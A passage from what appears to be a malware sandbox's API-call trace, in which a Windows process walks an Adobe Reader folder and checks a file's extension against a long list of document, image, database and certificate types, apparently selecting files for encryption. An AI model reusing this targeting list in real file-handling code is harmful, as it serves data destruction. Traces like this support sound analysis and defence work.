dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0273.981] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.981] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0273.981] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark") returned 124 [0273.981] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark") returned 1 [0273.981] lstrlenW (lpString="dark") returned 4 [0273.981] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dark") returned -1 [0273.981] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0273.981] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark") returned 124 [0273.981] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0273.983] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.984] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0273.984] lstrlenW (lpString="example_icons.png") returned 17 [0273.984] lstrlenW (lpString=".1cd") returned 4 [0273.984] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0273.984] lstrlenW (lpString=".3ds") returned 4 [0273.984] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0273.984] lstrlenW (lpString=".3fr") returned 4 [0273.984] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0273.984] lstrlenW (lpString=".3g2") returned 4 [0273.984] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0273.984] lstrlenW (lpString=".3gp") returned 4 [0273.984] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0273.984] lstrlenW (lpString=".7z") returned 3 [0273.984] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0273.984] lstrlenW (lpString=".accda") returned 6 [0273.984] lstrcmpiW (lpString1=".accda", lpString2="ns.png") returned -1 [0273.984] lstrlenW (lpString=".accdb") returned 6 [0273.985] lstrcmpiW (lpString1=".accdb", lpString2="ns.png") returned -1 [0273.985] lstrlenW (lpString=".accdc") returned 6 [0273.985] lstrcmpiW (lpString1=".accdc", lpString2="ns.png") returned -1 [0273.985] lstrlenW (lpString=".accde") returned 6 [0273.985] lstrcmpiW (lpString1=".accde", lpString2="ns.png") returned -1 [0273.985] lstrlenW (lpString=".accdt") returned 6 [0273.985] lstrcmpiW (lpString1=".accdt", lpString2="ns.png") returned -1 [0273.985] lstrlenW (lpString=".accdw") returned 6 [0273.985] lstrcmpiW (lpString1=".accdw", lpString2="ns.png") returned -1 [0273.985] lstrlenW (lpString=".adb") returned 4 [0273.985] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0273.985] lstrlenW (lpString=".adp") returned 4 [0273.985] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0273.985] lstrlenW (lpString=".ai") returned 3 [0273.985] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0273.985] lstrlenW (lpString=".ai3") returned 4 [0273.985] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0273.985] lstrlenW (lpString=".ai4") returned 4 [0273.985] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0273.985] lstrlenW (lpString=".ai5") returned 4 [0273.986] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0273.986] lstrlenW (lpString=".ai6") returned 4 [0273.986] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0273.986] lstrlenW (lpString=".ai7") returned 4 [0273.986] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0273.986] lstrlenW (lpString=".ai8") returned 4 [0273.986] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0273.986] lstrlenW (lpString=".anim") returned 5 [0273.986] lstrcmpiW (lpString1=".anim", lpString2="s.png") returned -1 [0273.986] lstrlenW (lpString=".arw") returned 4 [0273.986] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0273.986] lstrlenW (lpString=".as") returned 3 [0273.986] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0273.986] lstrlenW (lpString=".asa") returned 4 [0273.986] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0273.986] lstrlenW (lpString=".asc") returned 4 [0273.986] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0273.986] lstrlenW (lpString=".ascx") returned 5 [0273.986] lstrcmpiW (lpString1=".ascx", lpString2="s.png") returned -1 [0273.986] lstrlenW (lpString=".asm") returned 4 [0273.987] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0273.987] lstrlenW (lpString=".asmx") returned 5 [0273.987] lstrcmpiW (lpString1=".asmx", lpString2="s.png") returned -1 [0273.987] lstrlenW (lpString=".asp") returned 4 [0273.987] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0273.987] lstrlenW (lpString=".aspx") returned 5 [0273.987] lstrcmpiW (lpString1=".aspx", lpString2="s.png") returned -1 [0273.987] lstrlenW (lpString=".asr") returned 4 [0273.987] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0273.987] lstrlenW (lpString=".asx") returned 4 [0273.987] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0273.987] lstrlenW (lpString=".avi") returned 4 [0273.989] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0273.989] lstrlenW (lpString=".avs") returned 4 [0273.989] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0273.989] lstrlenW (lpString=".backup") returned 7 [0273.989] lstrcmpiW (lpString1=".backup", lpString2="ons.png") returned -1 [0273.989] lstrlenW (lpString=".bak") returned 4 [0273.989] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0273.989] lstrlenW (lpString=".bay") returned 4 [0273.989] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0273.989] lstrlenW (lpString=".bd") returned 3 [0273.989] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0273.990] lstrlenW (lpString=".bin") returned 4 [0273.990] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0273.990] lstrlenW (lpString=".bmp") returned 4 [0273.990] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0273.990] lstrlenW (lpString=".bz2") returned 4 [0273.990] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0273.990] lstrlenW (lpString=".c") returned 2 [0273.990] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0273.990] lstrlenW (lpString=".cdr") returned 4 [0273.990] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0273.990] lstrlenW (lpString=".cer") returned 4 [0273.990] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0273.990] lstrlenW (lpString=".cf") returned 3 [0273.990] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0273.990] lstrlenW (lpString=".cfc") returned 4 [0273.990] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0273.990] lstrlenW (lpString=".cfm") returned 4 [0273.990] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0273.990] lstrlenW (lpString=".cfml") returned 5 [0273.990] lstrcmpiW (lpString1=".cfml", lpString2="s.png") returned -1 [0273.991] lstrlenW (lpString=".cfu") returned 4 [0273.991] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0273.991] lstrlenW (lpString=".chm") returned 4 [0273.991] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0273.991] lstrlenW (lpString=".cin") returned 4 [0273.991] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0273.991] lstrlenW (lpString=".class") returned 6 [0273.991] lstrcmpiW (lpString1=".class", lpString2="ns.png") returned -1 [0273.991] lstrlenW (lpString=".clx") returned 4 [0273.991] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0273.991] lstrlenW (lpString=".config") returned 7 [0273.991] lstrcmpiW (lpString1=".config", lpString2="ons.png") returned -1 [0273.991] lstrlenW (lpString=".cpp") returned 4 [0273.991] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0273.991] lstrlenW (lpString=".cr2") returned 4 [0273.991] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0273.991] lstrlenW (lpString=".crt") returned 4 [0273.991] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0273.991] lstrlenW (lpString=".crw") returned 4 [0273.992] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0273.992] lstrlenW (lpString=".cs") returned 3 [0273.992] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0273.992] lstrlenW (lpString=".css") returned 4 [0273.992] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0273.992] lstrlenW (lpString=".csv") returned 4 [0273.992] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0273.992] lstrlenW (lpString=".cub") returned 4 [0273.992] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0273.992] lstrlenW (lpString=".dae") returned 4 [0273.992] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0273.992] lstrlenW (lpString=".dat") returned 4 [0273.992] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0273.992] lstrlenW (lpString=".db") returned 3 [0273.992] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0273.992] lstrlenW (lpString=".dbf") returned 4 [0273.992] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0273.992] lstrlenW (lpString=".dbx") returned 4 [0273.992] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0273.992] lstrlenW (lpString=".dc3") returned 4 [0273.993] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0273.993] lstrlenW (lpString=".dcm") returned 4 [0273.993] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0273.993] lstrlenW (lpString=".dcr") returned 4 [0273.993] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0273.993] lstrlenW (lpString=".der") returned 4 [0273.993] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0273.993] lstrlenW (lpString=".dib") returned 4 [0273.993] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0273.993] lstrlenW (lpString=".dic") returned 4 [0273.993] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0273.993] lstrlenW (lpString=".dif") returned 4 [0273.993] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0273.993] lstrlenW (lpString=".divx") returned 5 [0273.993] lstrcmpiW (lpString1=".divx", lpString2="s.png") returned -1 [0273.993] lstrlenW (lpString=".djvu") returned 5 [0273.993] lstrcmpiW (lpString1=".djvu", lpString2="s.png") returned -1 [0273.993] lstrlenW (lpString=".dng") returned 4 [0273.993] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0273.994] lstrlenW (lpString=".doc") returned 4 [0273.994] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0273.994] lstrlenW (lpString=".docm") returned 5 [0273.994] lstrcmpiW (lpString1=".docm", lpString2="s.png") returned -1 [0273.994] lstrlenW (lpString=".docx") returned 5 [0273.994] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0273.994] lstrlenW (lpString=".dot") returned 4 [0273.994] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0273.994] lstrlenW (lpString=".dotm") returned 5 [0273.994] lstrcmpiW (lpString1=".dotm", lpString2="s.png") returned -1 [0273.994] lstrlenW (lpString=".dotx") returned 5 [0273.994] lstrcmpiW (lpString1=".dotx", lpString2="s.png") returned -1 [0273.994] lstrlenW (lpString=".dpx") returned 4 [0273.994] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0273.994] lstrlenW (lpString=".dqy") returned 4 [0273.994] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0273.994] lstrlenW (lpString=".dsn") returned 4 [0273.994] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0273.994] lstrlenW (lpString=".dt") returned 3 [0273.995] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0273.995] lstrlenW (lpString=".dtd") returned 4 [0273.995] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0273.995] lstrlenW (lpString=".dwg") returned 4 [0273.995] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0273.995] lstrlenW (lpString=".dwt") returned 4 [0273.995] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0273.995] lstrlenW (lpString=".dx") returned 3 [0273.995] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0273.995] lstrlenW (lpString=".dxf") returned 4 [0273.995] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0273.995] lstrlenW (lpString=".edml") returned 5 [0273.995] lstrcmpiW (lpString1=".edml", lpString2="s.png") returned -1 [0273.995] lstrlenW (lpString=".efd") returned 4 [0273.995] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0273.995] lstrlenW (lpString=".elf") returned 4 [0273.995] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0273.995] lstrlenW (lpString=".emf") returned 4 [0273.995] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0273.996] lstrlenW (lpString=".emz") returned 4 [0273.996] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0273.996] lstrlenW (lpString=".epf") returned 4 [0273.996] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0273.996] lstrlenW (lpString=".eps") returned 4 [0273.996] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0273.996] lstrlenW (lpString=".epsf") returned 5 [0273.996] lstrcmpiW (lpString1=".epsf", lpString2="s.png") returned -1 [0273.996] lstrlenW (lpString=".epsp") returned 5 [0273.996] lstrcmpiW (lpString1=".epsp", lpString2="s.png") returned -1 [0273.996] lstrlenW (lpString=".erf") returned 4 [0273.996] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0273.996] lstrlenW (lpString=".exr") returned 4 [0273.996] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0273.996] lstrlenW (lpString=".f4v") returned 4 [0273.996] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0273.996] lstrlenW (lpString=".fido") returned 5 [0273.996] lstrcmpiW (lpString1=".fido", lpString2="s.png") returned -1 [0273.996] lstrlenW (lpString=".flm") returned 4 [0273.997] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0273.997] lstrlenW (lpString=".flv") returned 4 [0273.997] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0273.997] lstrlenW (lpString=".frm") returned 4 [0273.997] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0273.997] lstrlenW (lpString=".fxg") returned 4 [0273.997] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0273.997] lstrlenW (lpString=".geo") returned 4 [0273.997] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0273.997] lstrlenW (lpString=".gif") returned 4 [0273.997] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0273.997] lstrlenW (lpString=".grs") returned 4 [0273.997] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0273.997] lstrlenW (lpString=".gz") returned 3 [0273.997] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0273.997] lstrlenW (lpString=".h") returned 2 [0273.997] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0273.997] lstrlenW (lpString=".hdr") returned 4 [0273.997] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0273.997] lstrlenW (lpString=".hpp") returned 4 [0273.998] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0273.998] lstrlenW (lpString=".hta") returned 4 [0273.998] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0273.998] lstrlenW (lpString=".htc") returned 4 [0273.998] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0273.998] lstrlenW (lpString=".htm") returned 4 [0273.998] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0273.998] lstrlenW (lpString=".html") returned 5 [0273.998] lstrcmpiW (lpString1=".html", lpString2="s.png") returned -1 [0273.998] lstrlenW (lpString=".icb") returned 4 [0273.998] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0274.022] lstrlenW (lpString=".ics") returned 4 [0274.022] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0274.022] lstrlenW (lpString=".iff") returned 4 [0274.022] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0274.022] lstrlenW (lpString=".inc") returned 4 [0274.022] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0274.022] lstrlenW (lpString=".indd") returned 5 [0274.022] lstrcmpiW (lpString1=".indd", lpString2="s.png") returned -1 [0274.022] lstrlenW (lpString=".ini") returned 4 [0274.022] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0274.022] lstrlenW (lpString=".iqy") returned 4 [0274.022] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0274.022] lstrlenW (lpString=".j2c") returned 4 [0274.022] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0274.022] lstrlenW (lpString=".j2k") returned 4 [0274.022] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0274.022] lstrlenW (lpString=".java") returned 5 [0274.022] lstrcmpiW (lpString1=".java", lpString2="s.png") returned -1 [0274.023] lstrlenW (lpString=".jp2") returned 4 [0274.023] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0274.023] lstrlenW (lpString=".jpc") returned 4 [0274.023] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0274.023] lstrlenW (lpString=".jpe") returned 4 [0274.023] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0274.023] lstrlenW (lpString=".jpeg") returned 5 [0274.023] lstrcmpiW (lpString1=".jpeg", lpString2="s.png") returned -1 [0274.023] lstrlenW (lpString=".jpf") returned 4 [0274.023] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0274.023] lstrlenW (lpString=".jpg") returned 4 [0274.023] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0274.023] lstrlenW (lpString=".jpx") returned 4 [0274.023] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0274.023] lstrlenW (lpString=".js") returned 3 [0274.023] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0274.023] lstrlenW (lpString=".jsf") returned 4 [0274.023] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0274.023] lstrlenW (lpString=".json") returned 5 [0274.024] lstrcmpiW (lpString1=".json", lpString2="s.png") returned -1 [0274.024] lstrlenW (lpString=".jsp") returned 4 [0274.024] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".kdc") returned 4 [0274.024] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".kmz") returned 4 [0274.024] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".kwm") returned 4 [0274.024] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".lasso") returned 6 [0274.024] lstrcmpiW (lpString1=".lasso", lpString2="ns.png") returned -1 [0274.024] lstrlenW (lpString=".lbi") returned 4 [0274.024] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".lgf") returned 4 [0274.024] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".lgp") returned 4 [0274.024] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".log") returned 4 [0274.024] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".m1v") returned 4 [0274.024] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".m4a") returned 4 [0274.024] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0274.024] lstrlenW (lpString=".m4v") returned 4 [0274.024] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".max") returned 4 [0274.025] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".md") returned 3 [0274.025] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0274.025] lstrlenW (lpString=".mda") returned 4 [0274.025] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mdb") returned 4 [0274.025] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mde") returned 4 [0274.025] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mdf") returned 4 [0274.025] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mdw") returned 4 [0274.025] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mef") returned 4 [0274.025] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mft") returned 4 [0274.025] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mfw") returned 4 [0274.025] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mht") returned 4 [0274.025] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mhtml") returned 6 [0274.025] lstrcmpiW (lpString1=".mhtml", lpString2="ns.png") returned -1 [0274.025] lstrlenW (lpString=".mka") returned 4 [0274.025] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mkidx") returned 6 [0274.025] lstrcmpiW (lpString1=".mkidx", lpString2="ns.png") returned -1 [0274.025] lstrlenW (lpString=".mkv") returned 4 [0274.025] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mos") returned 4 [0274.025] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mov") returned 4 [0274.025] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0274.025] lstrlenW (lpString=".mp3") returned 4 [0274.026] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".mp4") returned 4 [0274.026] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".mpeg") returned 5 [0274.026] lstrcmpiW (lpString1=".mpeg", lpString2="s.png") returned -1 [0274.026] lstrlenW (lpString=".mpg") returned 4 [0274.026] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".mpv") returned 4 [0274.026] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".mrw") returned 4 [0274.026] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".msg") returned 4 [0274.026] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".mxl") returned 4 [0274.026] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".myd") returned 4 [0274.026] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".myi") returned 4 [0274.026] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".nef") returned 4 [0274.026] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".nrw") returned 4 [0274.026] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".obj") returned 4 [0274.026] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".odb") returned 4 [0274.026] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".odc") returned 4 [0274.026] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".odm") returned 4 [0274.026] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".odp") returned 4 [0274.026] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0274.026] lstrlenW (lpString=".ods") returned 4 [0274.027] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".oft") returned 4 [0274.027] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".one") returned 4 [0274.027] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".onepkg") returned 7 [0274.027] lstrcmpiW (lpString1=".onepkg", lpString2="ons.png") returned -1 [0274.027] lstrlenW (lpString=".onetoc2") returned 8 [0274.027] lstrcmpiW (lpString1=".onetoc2", lpString2="cons.png") returned -1 [0274.027] lstrlenW (lpString=".opt") returned 4 [0274.027] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".oqy") returned 4 [0274.027] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".orf") returned 4 [0274.027] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".p12") returned 4 [0274.027] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".p7b") returned 4 [0274.027] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".p7c") returned 4 [0274.027] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".pam") returned 4 [0274.027] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".pbm") returned 4 [0274.027] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0274.027] lstrlenW 